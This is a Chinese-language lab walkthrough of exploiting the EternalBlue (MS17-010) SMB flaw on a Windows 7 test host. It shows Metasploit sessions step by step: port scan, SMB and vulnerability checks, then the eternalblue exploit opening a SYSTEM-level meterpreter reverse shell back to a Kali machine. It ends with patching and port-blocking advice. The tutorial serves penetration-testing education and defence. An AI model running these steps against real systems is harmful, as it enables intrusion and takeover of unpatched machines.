“永恒之蓝”漏洞
2017 年 4 月 14 日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。 5 月 12 日,不法分子通过改造”永恒之蓝”制作了 wannacry 勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网呾政府机构与网中招,被勒索支付高额赎金才能解密恢复文件。
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、 Windows XP、Windows 2003、 Windows Vista、 Windows 7、 Windows 8,Windows 2008、 Windows 2008 R2、Windows Server 2012 SP0。
本次测试环境为 Windows 7 Pro SP1
Win7 IP 192.168.1.2
Kali IP 192.168.1.8
进入 MSF 控制台,找到端口扫描模块,探测目标主机是否开启 445 (SMB) 端口
msf5 > search portscan Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/wordpress_pingback_access normal No WordPress Pingback Locator 1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner 2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner 3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner 4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner 5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner 6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner 7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner msf5 > use 4 msf5 auxiliary(scanner/portscan/syn) > options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 500 yes The reply read timeout in milliseconds
设置端口扫描模块,IP、端口参数
msf5 auxiliary(scanner/portscan/syn) > set rhosts 192.168.1.2 rhosts => 192.168.1.2 msf5 auxiliary(scanner/portscan/syn) > set ports 445 ports => 445 msf5 auxiliary(scanner/portscan/syn) > options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 445 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 500 yes The reply read timeout in milliseconds
运行查看测试结果
msf5 > auxiliary(scanner/portscan/syn) > exploit [+] TCP OPEN 192.168.1.2:445 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
目标主机 445 端口开放
然后探测 445 端口是否运行 SMB 服务
msf5 > search scanner name:smb Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/check_dir_file normal No SMB Scanner Check File/Directory Utility 1 auxiliary/scanner/sap/sap_smb_relay normal No SAP SMB Relay Abuse 2 auxiliary/scanner/smb/pipe_auditor normal No SMB Session Pipe Auditor 3 auxiliary/scanner/smb/pipe_dcerpc_auditor normal No SMB Session Pipe DCERPC Auditor 4 auxiliary/scanner/smb/smb1 normal No SMBv1 Protocol Detection 5 auxiliary/scanner/smb/smb2 normal No SMB 2.0 Protocol Detection 6 auxiliary/scanner/smb/smb_enum_gpp normal No SMB Group Policy Preference Saved Passwords Enumeration 7 auxiliary/scanner/smb/smb_enumshares normal No SMB Share Enumeration 8 auxiliary/scanner/smb/smb_enumusers normal No SMB User Enumeration (SAM EnumUsers) 9 auxiliary/scanner/smb/smb_enumusers_domain normal No SMB Domain User Enumeration 10 auxiliary/scanner/smb/smb_login normal No SMB Login Check Scanner 11 auxiliary/scanner/smb/smb_lookupsid normal No SMB SID User Enumeration (LookupSid) 12 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 13 auxiliary/scanner/smb/smb_version normal No SMB Version Detection 14 auxiliary/scanner/snmp/snmp_enumshares normal No SNMP Windows SMB Share Enumeration Interact with a module by name or index, for example use 14 or use auxiliary/scanner/snmp/snmp_enumshares msf5 > use 13 msf5 auxiliary(scanner/smb/smb_version) > options Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads (max one per host)
设置 SMB 探测模块,目标主机参数
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.2 rhosts => 192.168.1.2
运行查看效果
msf5 auxiliary(scanner/smb/smb_version) > exploit [+] 192.168.1.2:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:H-PC) (workgroup:WORKGROUP ) (signatures:optional) [*] 192.168.1.2:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
目标主机 445端口运行 SMB 服务
接下来探测目标主机是否存在”永恒之蓝”漏洞
msf5 > search auxiliary name:ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection Interact with a module by name or index, for example use 1 or use auxiliary/scanner/smb/smb_ms17_010 msf5 > use 1 msf5 auxiliary(scanner/smb/smb_ms17_010) > options Module options (auxiliary/scanner/smb/smb_ms17_010): Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads (max one per host)
设置”永恒之蓝”探测模块,目标主机参数
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.2 rhosts => 192.168.1.2
运行查看探测结果
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit [+] 192.168.1.2:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 192.168.1.2:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
结果显示目标主机存在MS17-010″永恒之蓝”漏洞
接下来需要设置payload,验证一下是否可以获取到目标主机shell
msf5 > search exploit name:ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 1 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 2 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 3 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution Interact with a module by name or index, for example use 3 or use exploit/windows/smb/ms17_010_psexec msf5 > use 1 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.8 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
我这里面得参数有之前测试设置过得痕迹,一般默认都为空
设置目标主机,也就是被测试主机
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.2 rhosts => 192.168.1.2
设置payload反弹shell的接收主机,也就是测试主机,我这里是Kali(本地主机)
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.1.8 lhost => 192.168.1.8
设置目标主机操作系统类型,这个payload的target参数选项只有一个,不用进行变动
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets Exploit targets: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
运行查看测试结果
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.1.8:4444 [*] 192.168.1.2:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.1.2:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 192.168.1.2:445 - Scanned 1 of 1 hosts (100% complete) [*] 192.168.1.2:445 - Connecting to target for exploitation. [+] 192.168.1.2:445 - Connection established for exploitation. [+] 192.168.1.2:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.1.2:445 - CORE raw buffer dump (42 bytes) [*] 192.168.1.2:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 192.168.1.2:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 192.168.1.2:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 192.168.1.2:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.1.2:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.1.2:445 - Sending all but last fragment of exploit packet [*] 192.168.1.2:445 - Starting non-paged pool grooming [+] 192.168.1.2:445 - Sending SMBv2 buffers [+] 192.168.1.2:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.1.2:445 - Sending final SMBv2 buffers. [*] 192.168.1.2:445 - Sending last fragment of exploit packet! [*] 192.168.1.2:445 - Receiving response from exploit packet [+] 192.168.1.2:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.1.2:445 - Sending egg to corrupted connection. [*] 192.168.1.2:445 - Triggering free of corrupted buffer. [*] Sending stage (201283 bytes) to 192.168.1.2 [*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.2:49214) at 2020-07-23 10:32:15 +0800 [+] 192.168.1.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > pwd C:Windowssystem32
获取到目标主机shell,system权限,此权限危害较高,可以窃取用户键盘记录、实时屏幕、关闭/添加进程等操作。
“永恒之蓝”应对方法
1.升级微软补丁MS17-010
2.Windows7、Windows8、Windows10电脑启用Windows防火墙添加策略关闭135、137、138、139、445端口
3.(若有杀软)升级杀毒软件最新版本
请登录后发表评论
注册